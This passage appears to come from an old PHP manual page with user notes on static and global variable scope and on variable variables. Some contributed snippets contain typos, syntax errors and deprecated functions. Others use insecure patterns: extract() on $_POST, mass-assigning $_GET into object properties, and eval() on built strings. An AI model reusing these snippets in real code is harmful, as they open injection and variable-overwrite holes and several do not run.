  if(version_compare(phpversion(),"4.3.0")>=0) {
    foreach($GLOBALS as $arraykey=>$arrayvalue) {
      global $$arraykey;
    }
  }
  // now all global variables are locally available...
}

?>
info AT SyPlex DOT net 31-Aug-2004 05:35
Some times you need to access the same static in more than one function. There is an easy way to solve this problem:

<?php
  // We need a way to get a reference of our static
  function &getStatic() {
    static $staticVar;
    return $staticVar;
  }

  // Now we can access the static in any method by using it's reference
  function fooCount() {
    $ref2static = & getStatic();
    echo $ref2static++;
  }

  fooCount(); // 0
  fooCount(); // 1
  fooCount(); // 2
?>
Michael Bailey (jinxidoru at byu dot net) 04-Jun-2004 11:43
Static variables do not hold through inheritance.  Let class A have a function Z with a static variable.  Let class B extend class A in which function Z is not overwritten.  Two static variables will be created, one for class A and one for class B.

Look at this example:

<?php
class A {
    function Z() {
        static $count = 0;
        printf("%s: %d\n", get_class($this), ++$count);
    }
}

class B extends A {}

$a = new A();
$b = new B();
$a->Z();
$a->Z();
$b->Z();
$a->Z();
?>

This code returns:

A: 1
A: 2
B: 1
A: 3

As you can see, class A and B are using different static variables even though the same function was being used.
Randolpho 02-Apr-2004 12:53
More on static variables:

A static variable does not retain it's value after the script's execution. Don't count on it being available from one page request to the next; you'll have to use a database for that.

Second, here's a good pattern to use for declaring a static variable based on some complex logic:

<?php
  function buildStaticVariable()
  {
      $foo = null;
      // some complex expression or set of
      // expressions/statements to build
      // the return variable.
      return $foo;
  }

  function functionWhichUsesStaticVar()
  {
      static $foo = null;
      if($foo === null) $foo = buildStaticVariable();
      // the rest of your code goes here.
  }
?>

Using such a pattern allows you to separate the code that creates your default static variable value from the function that uses it. Easier to maintain code is good. :)
jmarbas at hotmail dot com 16-Jan-2004 03:34
Whats good for the goose is not always good for the iterative gander. If you declare and initialize the static variable more than once inside a function ie.

<?php
function Test(){
   static $count = 0;
   static $count = 1;
   static $count = 2;
   echo $count;
}
?>

the variable will take the value of the last declaration. In this case $count=2.

But! however when you make that function recursive ie.

<?php
  function Test(){
   static $count = 0;
   static $count = 1;
   static $count = 2;

   $count++;
   echo $count;
   if ($count<10){
     Test();
   }
  }
?>

Every call to the function Test() is a differenct SCOPE and therefore the static declarations and initializations are NOT executed again. So what Im trying to say is that its OK to declare and initialize a static variable multiple times if you are in one function... but its NOT OK to declare and initialize a static variable multiple times if you call that same function multiple times. In other words the static variable is set once you LEAVE a function (even if you go back into that very same function).
Jack at soinsincere dot com 14-Nov-2003 10:11
Alright, so you can't set a static variable with a reference.
However, you can set a static variable to an array with an element that is a reference:
<?php

class myReference {
    function getOrSet($array = null) {
        static $myValue;
        if (!$array) {
            return $myValue[0];     //Return reference in array
        }
        $myValue = $array;          //Set static variable with array
        static $myValue;
    }
}

$static = "Dummy";

$dummy = new myReference;
$dummy->getOrSet(array(&$static));

$static = "Test";
print $dummy->getOrSet();

?>
flobee at gmx dot net 06-Nov-2003 12:26
i found out that on any (still not found) reason the <?php static $val =NULL; ?> is not working when trying to extract the data form the $var with a while statment
e.g.:
<?php
funktion get_data() {
static $myarray = null;
   if($myarray == NULL) {
     //get some info in an array();
     $myarray = array('one','two');
   }
   while(list($key,$val) = each( $myarray ) ) {
   // do something
   echo "x: $key , y: $val";
   }
}
?>
when using foreach($myarray AS $key => $val) { .... instad of while then i see the result!
ppo at beeznest dot net 08-Jul-2003 06:59
Even if an included file return a value using return(), it's still sharing the same scope as the caller script!

<?php
$foo = 'aaa';
$bar = include('include.php');
echo($foo.' / '.$bar);
?>

where include.php is
<?php
$foo = 'bbb';
return $foo;
?>

The output is: bbb / bbb
Not: aaa / bbb
jg at nerd-boy dot net 07-Feb-2003 04:10
It's possible to use a variable variable when specifying a variable as global in a function. That way your function can decide what global variable to access in run-time.

<?php
function func($varname)
{
   global $$varname;

   echo $$varname;
}

$hello = "hello world!";
func("hello");
?>

This will print "hello world!", and is roughly the same as passing by reference, in the case when the variable you want to pass is global. The advantage over references is that they can't have default parameters. With the method above, you can do the following.

<?php
function func($varname = FALSE)
{
   if ($varname === FALSE)
     echo "No variable.";
   else
   {
     global $$varname;

     echo $$varname;
   }
}

$hello = "hello world!";
func("hello");                   // prints "hello world!"
func();                          // prints "No variable."
?>
wjs@sympaticoDOTca 10-Dec-2002 09:03
Becareful where you define your global variables:

This will work:
<?php
  $MyArray = array("Dog");

  function SeeArray(){
    global $MyArray;
    if (in_array("Dog",$MyArray)){
      foreach ($MyArray as $Element){
        echo "$Element <hr/>";
      }
    }
  }

  SeeArray();
?>

while this will not:
<?php
  SeeArray();
  $MyArray = array("Dog");

  function SeeArray(){
    global $MyArray;
    if (in_array("Dog",$MyArray)){ // an error will generate here
      foreach ($MyArray as $Element){
        echo "$Element <hr/>";
      }
    }
  }

?>
heatwave at fw dot hu 15-Oct-2002 05:12
Some people (including me) had a problem with defining a long GLOBAL variable list in functions (very error prone). Here is a possible solution. My program parses php file for functions, and compiles GLOBAL variable lists. Then you can just remove from the list those variables which need not be global.

<?php
    //parser for GLOBAL variable list
    $pfile=file("myfile.php4");

    for($i=0;$i<sizeof($pfile);$i++) {
     if(eregi("function",$pfile[$i])) {
      list($part1,$part2)=sscanf($pfile[$i],"%s %s");
      echo "\n\n $part1 $part2:\nGLOBAL ";

      $varlist=array();
      $level=0; $end=$i;
      do {
       $lpar=explode("{",$pfile[$end]);
       $level+=sizeof($lpar)-1;
       $lpar=explode("}",$pfile[$end]);
       $level-=sizeof($lpar)-1;
       $end++;
      } while(($end<sizeof($pfile))&&($level>0));
      $pstr="";
      for($j=$i;$j<=$end;$j++) $pstr.=$pfile[$j];
      $lpar=explode("$",$pstr);
      for($j=1;$j<sizeof($lpar);$j++) {
          eregi('[a-zA-Z_][a-zA-Z0-9_]*',$lpar[$j],$cvar);
        $varlist[$cvar[0]]=1;
      }
      array_walk($varlist,'var_print');
     }
    }
function var_print ($item, $key) {
     echo "$key,";
 }
?>
30-Apr-2002 01:14
Seems as though when a cookie is saved and referenced as a variable of the same name as the cookie, that variable is NOT global.  If you make a function ro read the value of the cookie, the cooke variable name must be declared as a global.

example:

<?php
function ReturnCookie()
{
        $cookieName = "Test_Cookie";
        global $$cookieName;
        if (isset($$cookieName))
        {
                echo ("$cookieName is set");
                $returnvalue = $$cookieName;
        }
        else
        {
                $newCookieValue = "Test Value";
                setcookie("$cookieName","$newCookieValue", (time() + 3153600));
                echo ("made a cookie:" . $newCookieValue ."<BR>");
                $returnvalue = $newCookieValue;
        }
        echo ("the cookie that was set is now $returnvalue <BR>");
        return $returnvalue;
}
?>
huntsbox at pacbell dot net 02-Apr-2002 08:11
Not sure of the implications of this but...
You can create nested functions within functions but you must make sure they aren't defined twice, e.g.:

<?php
function norm($a, $b) {
    static $first_time = true;
    if ($first_time) {
        function square($x) {
            return $x * $x;
        }
        $first_time = false;
    }
    return sqrt(square($a) + square($b));
}

print square(5); // error, not defined yet
print norm(5,4);
print "<br>";
print norm(3,2);
print square(5); // OK
?>

If you don't include the if ($first_time) you get an error saying you can't define square() twice.  Note that square is not local to the function it just appears there.  The last line successfully accesses square in the page scope.  This is not terribly useful, but interesting.
jochen_burkhard at web dot de 29-Mar-2002 11:47
Please don't forget:
values of included (or required) file variables are NOT available in the local script if the included file resides on a remote server:

remotefile.php:

<?PHP
$paramVal=10;
?>

localfile.php:

<?PHP
include "http://example.com/remotefile.php";
echo "remote-value= $paramVal";
?>

Will not work (!!)
steph_rondinaud at club-internet dot fr 09-Feb-2002 04:41
I'm using PHP 4.1.1

While designing a database access class, I needed a static variable that will be incremented for all instances of the class each time the class connected to the database. The obvious solution was to declare a "connection" class variable with static scope. Unfortunatly, php doesn't allow such a declaration.
So I went back to defining a static variable in the connect method of my class. But it seems that the static scope is not inherited: if class "a" inherit the "db access" class, then the "connection" variable is shared among "a" instances, not among both "a" AND "db access" instances.
Solution is to declare the static variable out of the db access class, and declare "global" said variable in the connect method.
admin at essentialhost dot com 03-Feb-2002 06:30
Quick tip for beginners just to speed things up:
If you have a bunch of global variables to import into a function, it's best to put them into a named array like $variables[stuff].
When it's time to import them you just so the following;

<?php
function here() {
  $vars = $GLOBALS['variables'];
  print $vars[stuff];

}
?>

This really helps with big ugly form submissions.
tomek at pluton dot pl 10-Dec-2001 10:53
When defining static variables you may use such declarations:

<?php
static $var = 1; //numbers
static $var = 'strings';
static $var = array(1,'a',3); //array construct
?>

but these ones would produce errors:

<?php
static $var = some_function('arg');
static $var = (some_function('arg'));
static $var = 2+3; //any expression
static $var = new object;
?>
danno at wpi dot edu 24-Jul-2001 12:28
WARNING!  If you create a local variable in a function and then within that function assign it to a global variable by reference the object will be destroyed when the function exits and the global var will contain NOTHING!  This main sound obvious but it can be quite tricky you have a large script (like a phpgtk-based gui app ;-) ).

example:

<?php
function foo ()
{
   global $testvar;

   $localvar = new Object ();
   $testvar = &$localvar;
}

foo ();
print_r ($testvar);   // produces NOTHING!!!!
?>

hope this helps someone before they lose all their hair
carpathia_uk at mail dot com 07-May-2001 02:21
On confusing aspect about global scope...

If you want to access a variable such as a cookie inside a function, but theres a chance it may not even be defined, you need to access it using he GLOBALS array, not by defining it as global.

This wont work correctly....

<?php
function isLoggedin()
{
global $cookie_username;
if (isset($cookie_username)
echo "blah..";
}
?>

This will..

<?php
function isLoggedin()
{
if (isset($GLOBALS["cookie_username"]))
echo "blah..";
}
?>
shevek at anarres dot org 04-Feb-2000 04:51
If you include a file from within a function using include(), the included file inherits the function scope as its own global scope, it will not be able to see top level globals unless they are explicit in the function.

<?php
$foo = "bar";
function baz() {
    global $foo; # NOTE THIS
    include("qux");
}
?>
Predefined Variables
Variable variables
Variables


Variable variables

Sometimes it is convenient to be able to have variable variable names. That is, a variable name which can be set and used dynamically. A normal variable is set with a statement such as:

<?php
$a = 'hello';
?>

A variable variable takes the value of a variable and treats that as the name of a variable. In the above example, hello, can be used as the name of a variable by using two dollar signs. i.e.

<?php
$$a = 'world';
?>

At this point two variables have been defined and stored in the PHP symbol tree: $a with contents "hello" and $hello with contents "world". Therefore, this statement:

<?php
echo "$a ${$a}";
?>

produces the exact same output as:

<?php
echo "$a $hello";
?>

i.e. they both produce: hello world.

In order to use variable variables with arrays, you have to resolve an ambiguity problem. That is, if you write $$a[1] then the parser needs to know if you meant to use $a[1] as a variable, or if you wanted $$a as the variable and then the [1] index from that variable. The syntax for resolving this ambiguity is: ${$a[1]} for the first case and ${$a}[1] for the second.

Class properties may also be accessed using variable property names. The variable property name will be resolved within the scope from which the call is made. For instance, if you have an expression such as $foo->$bar, then the local scope will be examined for $bar and its value will be used as the name of the property of $foo. This is also true if $bar is an array access.

Example #1 Variable property example

<?php
class foo {
    var $bar = 'I am bar.';
}

$foo = new foo();
$bar = 'bar';
$baz = array('foo', 'bar', 'baz', 'quux');
echo $foo->$bar . "\n";
echo $foo->$baz[1] . "\n";
?>

The above example will output:

I am bar.
I am bar.

Warning

Please note that variable variables cannot be used with PHP's Superglobal arrays within functions or class methods. The variable $this is also a special variable that cannot be referenced dynamically.

User Contributed Notes

Omar Juvera 07-Aug-2011 09:13
In this example, I have the variable $city.
To store the variable $city inside another variable:

<?php
$city = 'New York';

$var_container = 'city'; //$var_container will store the variable $city

echo "CONTAINER's var: " . $var_container;
echo "<br />";
echo "CONTAINER's value: " . $$var_container;
echo "<br />";
echo "VAR city: " . $city;
?>

The OUTPUT is:
CONTAINER's var: city
CONTAINER's value: New York
VAR city: New York
Omar Juvera 07-Aug-2011 01:40
The example given in the php manual is confusing!
I think this example it's easier to understand:

<?php

//Let's create a new variable: $new_variable_1
$var_name = "new_variable_1"; //$var_name will store the NAME of the new variable

//Let's assign a value to that [$new_variable_1] variable:
$$var_name  = "value 1"; //Value of $new_variable_1 = "value 1"

echo "VARIABLE: " . $var_name;
echo "<br />";
echo "VALUE: " . $$var_name;
?>

The OUTPUT is:
VARIABLE: new_variable_1
VALUE: value 1

You can also create new variables in a loop:
<?php

for( $i = 1; $i < 6; $i++ )
{
$var_name[] = "new_variable_" . $i; //$var_name[] will hold the new variable NAME
}

${$var_name[0]}  = "value 1"; //Value of $new_variable_1 = "value 1"
${$var_name[1]}  = "value 2"; //Value of $new_variable_2 = "value 2"
${$var_name[2]}  = "value 3"; //Value of $new_variable_3 = "value 3"
${$var_name[3]}  = "value 4"; //Value of $new_variable_4 = "value 4"
${$var_name[4]}  = "value 5"; //Value of $new_variable_5 = "value 5"

echo "VARIABLE: " . $var_name[0] . "\n";
echo "<br />";
echo "VALUE: " . ${$var_name[0]};
?>

The OUTPUT is:
VARIABLE: new_variable_1
VALUE: value 1
andre at AWizardOfAss dot com 21-Jan-2011 01:39
To generate a family of variables, such as $a1, $a2, $a3, etc., one can use "variable variables" as follows:

<?php
for ($i = 1; $i <= 5; $i++) {
  ${a.$i} = "value";
}

echo "$a1, $a2, $a3, $a4, $a5";
//Output is value, value, value, value, value
?>

Note that the correct syntax is ${a.$i} rather than the perhaps more intuitive $a{$i}

The dot (.) is the string concatenation operator.

A family of variables might be used as an alternative to arrays.
Sam Yong - hellclanner at live dot com 21-Aug-2010 02:42
Want to access object's property or array value using variable variables but not possible?

Here's a workaround to it:

<?php

function varvar($str){
    if(strpos($str,'->') !== false){
      // Accessing object property
        $parts = explode('->',$str);
        global ${$parts[0]};
        return ${$parts[0]}->$parts[1];
    }elseif(strpos($str,'[') !== false && strpos($str,']') !== false){
        $parts = explode('[',$str);
        global ${$parts[0]};
        $parts[1] = substr($parts[1],0,strlen($parts[1])-1);
        return ${$parts[0]}[$parts[1]];
    }else{
        global ${$str};
        return ${$str};
    }
}

$arrayTest = array('value0', 'value1', 'test1'=> 'value2', 'test2'=> 'value3');
$objectTest = (object)$arrayTest;

$test = 'arrayTest[1]';
var_dump(varvar($test)); // string(6) "value1"
var_dump($$test); // NULL

$test2 = 'objectTest->test2';
var_dump(varvar($test2)); // string(6) "value3"
var_dump($$test2); // NULL

?>

Cheers
Sam-Mauris Yong
mason 28-Jun-2010 12:39
PHP actually supports invoking a new instance of a class using a variable class name since at least version 5.2

<?php
class Foo {
   public function hello() {
      echo 'Hello world!';
   }
}
$my_foo = 'Foo';
$a = new $my_foo();
$a->hello(); //prints 'Hello world!'
?>

Additionally, you can access static methods and properties using variable class names, but only since PHP 5.3

<?php
class Foo {
   public static function hello() {
      echo 'Hello world!';
   }
}
$my_foo = 'Foo';
$my_foo::hello(); //prints 'Hello world!'
?>
userb at exampleb dot org 08-Apr-2010 02:39
<?php

  //You can even add more Dollar Signs

  $Bar = "a";
  $Foo = "Bar";
  $World = "Foo";
  $Hello = "World";
  $a = "Hello";

  $a; //Returns Hello
  $$a; //Returns World
  $$$a; //Returns Foo
  $$$$a; //Returns Bar
  $$$$$a; //Returns a

  $$$$$$a; //Returns Hello
  $$$$$$$a; //Returns World

  //... and so on ...//

?>
dlorre at yahoo dot com 16-Feb-2010 12:04
Adding an element directly to an array using variables:

<?php
$tab = array("one", "two", "three") ;
$a = "tab" ;
$$a[] ="four" ; // <==== fatal error
print_r($tab) ;
?>
will issue this error:

Fatal error: Cannot use [] for reading

This is not a bug, you need to use the {} syntax to remove the ambiguity.

<?php
$tab = array("one", "two", "three") ;
$a = "tab" ;
${$a}[] =  "four" ; // <==== this is the correct way to do it
print_r($tab) ;
?>
php at willshouse dot the-usual-uk-tld 21-Nov-2009 04:14
If you need to access one of the superglobals using a variable variable, you can look it up in $GLOBALS:

<?PHP
define('FORM_METHOD', 'post');

function getFormVariable( $fieldName, $defaultValue )
{
    global $FILTER_METHOD;
    $getpost = $GLOBALS[ '_' . strtoupper(FILTER_METHOD) ];
    if ( ! array_key_exists( $fieldName, $getpost    ) )    { return $defaultValue; }
    if ( empty(    $getpost[ $fieldName ]            ) )    { return $defaultValue; }
    return $getpost[ $fieldName ];
}

echo "<form method=\"".FORM_METHOD."\">\n";
?>
al at o3strategies dot com 15-Nov-2009 06:01
This is an extremely handy use for variable variables especially when dealing with direct data modeling.  This will allow you to automatically set object properties based on a query result. When new fields are added to the table, the class will receive these properties automatically. This is great for maintaining user data or other large tables. Your property names will be bound to your column name in the database, making maintenance worry free. This method uses $this->{$var} for the variable variable creation.

<?php
class testTableData() {

    function testTableData(){
        // testTable includes the columns: name, user, date
        $query = "SELECT * FROM testTable";
        $result = mysql_query($query) or die (mysql_error());
        $row = mysql_fetch_array($result);
        foreach ($row as $var => $key) {
            $this->{$var} = $key;
        }
    }

}

// Access table properties
$table = new testTableData();

echo $table->name;
echo $table->user;
echo $table->date;

?>
Matthew (mwwaygoo AT hotmail DOT com) 02-Nov-2009 08:03
A note on Variable variables/functions and classes

To store a function name in a variable and call it later, within a class, you do the following:-

<?php

class test_class
{
    var $func='display_UK';  // function name *

    function display_UK()
    {
        echo "Hello";
    }
    function display_FR()
    {
        echo "Bonjour";
    }
    function display()
    {
        $this->{$this->func}(); // NOTE the brackets MUST be here and not in the function name above *
    }

}

$test=new test_class();
$test->display_UK(); // to test they work directly
$test->display_FR();
$test->display();
?>

This allows you to specify the function required. It works better then a big switch statement as it allows for extending the class more easily. (ie adding display_ES(); )
moomin 24-Jun-2009 08:58
If $something is 'myvar' then you can use $obj->{"_$something"} to get the value of $obj->_myvar without having to use eval.
aditeojr at yahoo dot co dot uk 01-Jun-2009 02:36
Parsing and retrieving a value from superglobals, by a specified order, looping until it find one :

<?php
function GetInputString($name, $default_value = "", $format = "GPCS")
    {

        //order of retrieve default GPCS (get, post, cookie, session);

        $format_defines = array (
        'G'=>'_GET',
        'P'=>'_POST',
        'C'=>'_COOKIE',
        'S'=>'_SESSION',
        'R'=>'_REQUEST',
        'F'=>'_FILES',
        );
        preg_match_all("/[G|P|C|S|R|F]/", $format, $matches); //splitting to globals order
        foreach ($matches[0] as $k=>$glb)
        {
            if ( isset ($GLOBALS[$format_defines[$glb]][$name]))
            {
                return $GLOBALS[$format_defines[$glb]][$name];
            }
        }

        return $default_value;
    }
?>
php at ianco dot co dot uk 28-May-2009 02:47
<?php
// $variable-name = 'parse error';
// You can't do that but you can do this:
$a = 'variable-name';
$$a = 'hello';
echo $variable-name . ' ' . $$a; // Gives     0 hello
?>

For a particular reason I had been using some variable names with hyphens for ages. There was no problem because they were only referenced via a variable variable. I only saw a parse error much later, when I tried to reference one directly. It took a while to realise that illegal hyphens were the cause because the parse error only occurs on assignment.
nick at customdesigns dot ca 10-Dec-2008 10:14
On the topic of variable variables with arrays, I have a simple function that solves the issue. It works for both indexed and associative arrays, and allows use with superglobals.

<?php
function VariableArray($arr, $string)
    {
    preg_match_all('/\[([^\]]*)\]/', $string, $arr_matches, PREG_PATTERN_ORDER);

    $return = $arr;
    foreach($arr_matches[1] as $dimension)
        {
        $return = $return[$dimension];
        }

    return $return;
    }

$test = array('one' => 'two', 'four' => array(8));

$foo = 'test';
$bar = $$foo;
$baz = "[one]";
$var = VariableArray($bar, $baz); //$var now contains 'two'

$baz = "[four][0]";
$var = VariableArray($bar, $baz); //$var now contains int(8)
?>

You can simply pass in a superglobal as the first argument. Note for associative arrays don't put quotes inside the square braces unless you adjust the regexp to accept it. I wanted to keep it simple.
Anonymous 30-Nov-2008 07:44
I have a HTML form that has a dynamic number of fields (for entry of collected data it adds a new field each time) and would like to use the variable variable on _POST.  This way, I could increment the field name value with a loop limit when say 100 fields are reached (the max for the form.)

Below is the solution I came up with to work around it:

<?php
        $MaxRows=100;
        $NumbersOfTime=0;
        extract ($_POST,EXTR_PREFIX_ALL,'pos');

        for ($i = 1; $i <= $MaxRows; $i = $i + 1)
        {
                $tmp = "pos_TimeRecorded{$i}";
                if (isset($$tmp))
                {
                        $TimeRecorded[$i]=$$tmp;

                }
                else
                {
                        $NumbersOfTime=$i-1;
                        break;
                }
        }

?>
nullhility at gmail dot com 06-Jun-2008 12:43
It's also valuable to note the following:

<?php
${date("M")} = "Worked";
echo ${date("M")};
?>

This is perfectly legal, anything inside the braces is executed first, the return value then becomes the variable name. Echoing the same variable variable using the function that created it results in the same return and therefore the same variable name is used in the echo statement. Have fun ;).
Nathan Hammond 11-Feb-2008 03:41
These are the scenarios that you may run into trying to reference superglobals dynamically. Whether or not it works appears to be dependent upon the current scope.

<?php

$_POST['asdf'] = 'something';

function test() {
    // NULL -- not what initially expected
    $string = '_POST';
    var_dump(${$string});

    // Works as expected
    var_dump(${'_POST'});

    // Works as expected
    global ${$string};
    var_dump(${$string});

}

// Works as expected
$string = '_POST';
var_dump(${$string});

test();

?>
j3nda at fv dot cz 30-Dec-2007 01:23
hi, i handling multi-array with like this:

i use this for some classes with direct access to $__info array. and i have some config_{set|get} static functions without this class, but handling is the same.

i'm not testing this piece of code for benchmark and high load.

<?php
class __info {
  private $__info=array();

  public function __s($value=null, $id='')
    {
        if ($id == '')
            return false;

        $id='[\''.$id.'\']';
        for ($i=2, $max=func_num_args(), $args=func_get_args(); $i<$max; $i++)
            $id.='[\''.$args[$i].'\']';

        eval('
            if (isset($this->__info'.$id.')) {
                // debug || vyjimka
            }
            $this->__info'.$id.'=$value;
        ');
        return true;
    }

  public function __g($id)
    {
        $uid='';
        for ($i=0, $max=func_num_args(), $args=func_get_args(); $i<$max; $i++)
            $uid.="[\'".$args[$i]."\']";

        return eval('
            if (isset($this->__info'.$uid.')) {
                return $this->__info'.$uid.';

            } else {
                return false;
            }
            // debug || vyjimka
        ');

        return false;
    }
?>
craigmorey at gmail dot com 27-Dec-2007 08:23
For a long time I've been trying to use variable variables to figure out how to store and retrieve multi-dimensional arrays in a MySQL dbase. For instance, a config setting stored in a complex array might resemble the below:

<?php $config['modules']['module_events']['settings']['template']['name'] = 'List Page'; ?>

The most obvious way for storing this info in a dbase (discounting XML/JSON) is to store a "path" (of the nesting) and a "value" in a database record:

'modules,module_events,settings,template,name' = 'List Page'

But storing it is only part of the problem. PHP variable variables are no use to try and interpret string representations of arrays, eg it will see the string representation of a nested array such as config['modules']['module_events'] as a single variable called 'config[modules][module_events]', so loops that parse the "path" into a variable variable don't help.

So here is a little function that parses an array of "paths" and "value" strings (eg from a dbase) into a multi-dimensional nested array.

<?php
function multiArrayMe($input_array) {
    $output_array = array();
    # common sense check
    if (!is_array($input_array)) {
        return false;
    }
    # loop through the array of "path"=>"value"
    foreach ($input_array AS $key1 => $val1) {

        # explode the path to find the list of nested keys
        $temp1 = explode(',',$key1);
        # if this path isn't an array, skip this cycle
        if (!is_array($temp1)) {
            continue;
        }
        # reverse sort the keys so we'll start building from
        # the bottom, not the top
        krsort($temp1);
        # start with the temporary array off with the end value
        $temp2 = $val1;
        # loop through the nested keys
        foreach($temp1 AS $val2) {
            # if this nested key has no name,
            # (and isn't "0") skip this cycle
            if ($val2===false) {
                continue;
            }
            # gradually build up the this temporary nested array
            # from the leaf, working up the branches to the trunk
            $temp2 = array($val2 => $temp2);
        }
        # for this cycle, dump this bucketful of data into the bathtub
        $output_array = array_merge_recursive($output_array,$temp2);
    }
    return $output_array;
}
?>
correojulian33-php at yahoo dot es 28-Nov-2007 06:59
This example may help to overcome the limitation on $this.

Populate automatically fields of an object form a $_GET variable.

<?php
class pp{
   var $prop1=1,$prop2=2,$prop3=array(3,4,5);

   function fun1(){
      $vars=get_class_vars('pp');
      while(list($var,$value)=each($vars)){
               $ref=& $this->$var;
               $ref=$_GET[$var];

      } // while
      var_dump($this);
   }
}

$_GET['prop1']="uno";
$_GET['prop2']="dos";
$_GET['prop3']=array('tres','cuatro','cinco','seis');

$p=new pp();
$p->fun1();
?>

output is ...

object(pp)#1 (3) {
  ["prop1"]=>
  &string(3) "uno"
  ["prop2"]=>
  &string(3) "dos"
  ["prop3"]=>
  &array(4) {
    [0]=>
    string(4) "tres"
    [1]=>
    string(6) "cuatro"
    [2]=>
    string(5) "cinco"
    [3]=>
    string(4) "seis"
  }
}
the_tevildo at yahoo dot com 13-Oct-2007 06:22
This is a handy function I put together to allow variable variables to be used with arrays.

To use the function, when you want to reference an array, send it in the form 'array:key' rather than 'array[key]'.

For example:

<?php

function indirect ($var, $value)     // Replaces $$var = $value
{
   $var_data = $explode($var, ':');
   if (isset($var_data[1]))
   {
      ${$var_data[0]}[$var_data[1]] = $value;
   }
   else
   {
      ${$var_data[0]} = $value;
   }
}

$temp_array = array_fill(0, 4, 1);
$temp_var = 1;
$int_var_list = array('temp_array[2]', 'temp_var');

while (list($key, $var_name) = each($int_var_list))
{
   //  Doesn't work - creates scalar variable called "$temp_array[2]"
   $$var_name = 0;
}

var_dump($temp_array);
echo '<br>';
var_dump($temp_var);
echo '<br>';

//  Does work!

$int_var_list = array('temp_array:2', 'temp_var');

while (list($key, $var_name) = each($int_var_list))
{
   indirect($var_name, 2);
}

var_dump($temp_array);
echo '<br>';
var_dump($temp_var);
echo '<br>';
?>
Sinured 11-Jun-2007 06:07
One interesting thing I found out: You can concatenate variables and use spaces. Concatenating constants and function calls are also possible.

<?php
define('ONE', 1);
function one() {
    return 1;
}
$one = 1;

${"foo$one"} = 'foo';
echo $foo1; // foo
${'foo' . ONE} = 'bar';
echo $foo1; // bar
${'foo' . one()} = 'baz';
echo $foo1; // baz
?>

This syntax doesn't work for functions:

<?php
$foo = 'info';
{"php$foo"}(); // Parse error

// You'll have to do:
$func = "php$foo";
$func();
?>

Note: Don't leave out the quotes on strings inside the curly braces, PHP won't handle that graciously.
mot at tdvniikp dot ru 05-May-2006 08:41
You can simple access Globals by variable variables in functions, example:
<?php
function abc() {
    $context = '_SESSION';

    global $$context;
    if(isset($$context)) {
        var_dump($$context);
    }
}
abc();
?>
fabio at noc dot soton dot ac dot uk 11-Oct-2005 04:15
A static variable variable sounds like an oxymoron and indeed cannot exist. If you define:

<?php
$var = "ciao";
static $$var = 0;
?>

you get a parse error.
Regards,

Fabio
rafael at fuchs inf br 21-Mar-2005 08:08
You can use constants in variable variables, like I show below. This works fine:

<?php
define("TEST","Fuchs");
$Fuchs = "Test";

echo TEST . "<BR>";
echo ${TEST};
?>

output:

Fuchs
Test
Anonymous 13-Mar-2005 07:25
It may be worth specifically noting, if variable names follow some kind of "template," they can be referenced like this:

<?php
// Given these variables ...
$nameTypes    = array("first", "last", "company");
$name_first   = "John";
$name_last    = "Doe";
$name_company = "PHP.net";

// Then this loop is ...
foreach($nameTypes as $type)
  print ${"name_$type"} . "\n";

// ... equivalent to this print statement.
print "$name_first\n$name_last\n$name_company\n";
?>

This is apparent from the notes others have left, but is not explicitly stated.
Shawn Beltz 02-Mar-2005 12:06
Multidimensional variable variables.  If you want to run the below as one big program, you'll have to undefine $foo in between assignments.

<?php

$foo = "this is foo.";
$ref = "foo";
print $$ref;
# prints "this is foo."

$foo[1]['a_z'] = "this is foo[1][a_z].";
$ref = "foo[1][a_z]";
print $$ref;
# Doesn't print anything!

$foo = "this is foo.";
$ref = "foo";
$erf = eval("return \$$ref;");
print $erf;
# prints "this is foo."

$foo[1]['a_z'] = "this is foo[1][a_z].";
$ref = "foo[1][a_z]";
$erf = eval("return \$$ref;");
print $erf;
# prints "this is foo[1][a_z]."

?>
sir_hmba AT yahoo DOT com 06-May-2003 03:08
This is somewhat redundant, but I didn't see an example that combined dynamic reference of *both* object and attribute names.

Here's the code:

<?php
class foo
{
    var $bar;
    var $baz;

    function foo()
    {
        $this->bar = 3;
        $this->baz = 6;
    }
}

$f = new foo();
echo "f->bar=$f->bar  f->baz=$f->baz\n";

$obj  = 'f';
$attr = 'bar';
$val  = $$obj->{$attr};

echo "obj=$obj  attr=$attr  val=$val\n";
?>

And here's the output:

f->bar=3  f->baz=6
$obj=f  $attr=bar  $val=3
antony dot booth at nodomain dot here 19-Sep-2002 07:17
You may think of using variable variables to dynamically generate variables from an array, by doing something similar to: -

<?php
 foreach ($array as $key => $value)
 {
  $$key= $value;
 }

?>

This however would be reinventing the wheel when you can simply use:

<?php
extract( $array, EXTR_OVERWRITE);
?>

Note that this will overwrite the contents of variables that already exist.

Extract has useful functionality to prevent this, or you may group the variables by using prefixes too, so you could use: -

EXTR_PREFIX_ALL

<?php
$array =array("one" => "First Value",
"two" => "2nd Value",
"three" => "8"
                );

extract( $array, EXTR_PREFIX_ALL, "my_prefix_");

?>

This would create variables: -
$my_prefix_one
$my_prefix_two
$my_prefix_three

containing: -
"First Value", "2nd Value" and "8" respectively
jupp-mueller at t-online dot de 08-Sep-2002 06:29
I found another undocumented/cool feature: variable member variables in classes. It's pretty easy:

<?php
class foo {
  function bar() {
    $bar1 = "var1";
    $bar2 = "var2";
    $this->{$bar1}= "this ";
    $this->{$bar2} = "works";
  }
}

$test = new foo;
$test->bar();
echo $test->var1 . $test->var2;
?>
thien_tmpNOSPAM at hotmail dot com 20-Aug-2002 03:37
You can also use variable variables and the string concat operator to generate suffixed (or prefixed) variables based on a base name.

For instance, if you wanted to dynamically generate this series of variables:

base1_suffix1
base1_suffix2
base2_suffix1
base2_suffix2
base3_suffix1
base3_suffix2

You can do this:

<?php
$bases = array('base1', 'base2', 'base3');
$suffixes = array('suffix1', suffix2);
foreach($bases as $base) {
    foreach($suffixes as $suffix) {
        ${$base.$suffix} = "whatever";
        #...etc
    }
}
?>
J. Dyer 12-Aug-2002 01:05
Another use for this feature in PHP is dynamic parsing..

Due to the rather odd structure of an input string I am currently parsing, I must have a reference for each particular object instantiation in the order which they were created.  In addition, because of the syntax of the input string, elements of the previous object creation are required for the current one.

Normally, you won't need something this convolute.  In this example, I needed to load an array with dynamically named objects - (yes, this has some basic Object Oriented programming, please bare with me..)

<?php
   include("obj.class");

   // this is only a skeletal example, of course.
   $object_array = array();

   // assume the $input array has tokens for parsing.
   foreach ($input_array as $key=>$value){
      // test to ensure the $value is what we need.
         $obj = "obj".$key;
         $$obj = new Obj($value, $other_var);
         Array_Push($object_array, $$obj);
      // etc..
   }

?>

Now, we can use basic array manipulation to get these objects out in the particular order we need, and the objects no longer are dependant on the previous ones.

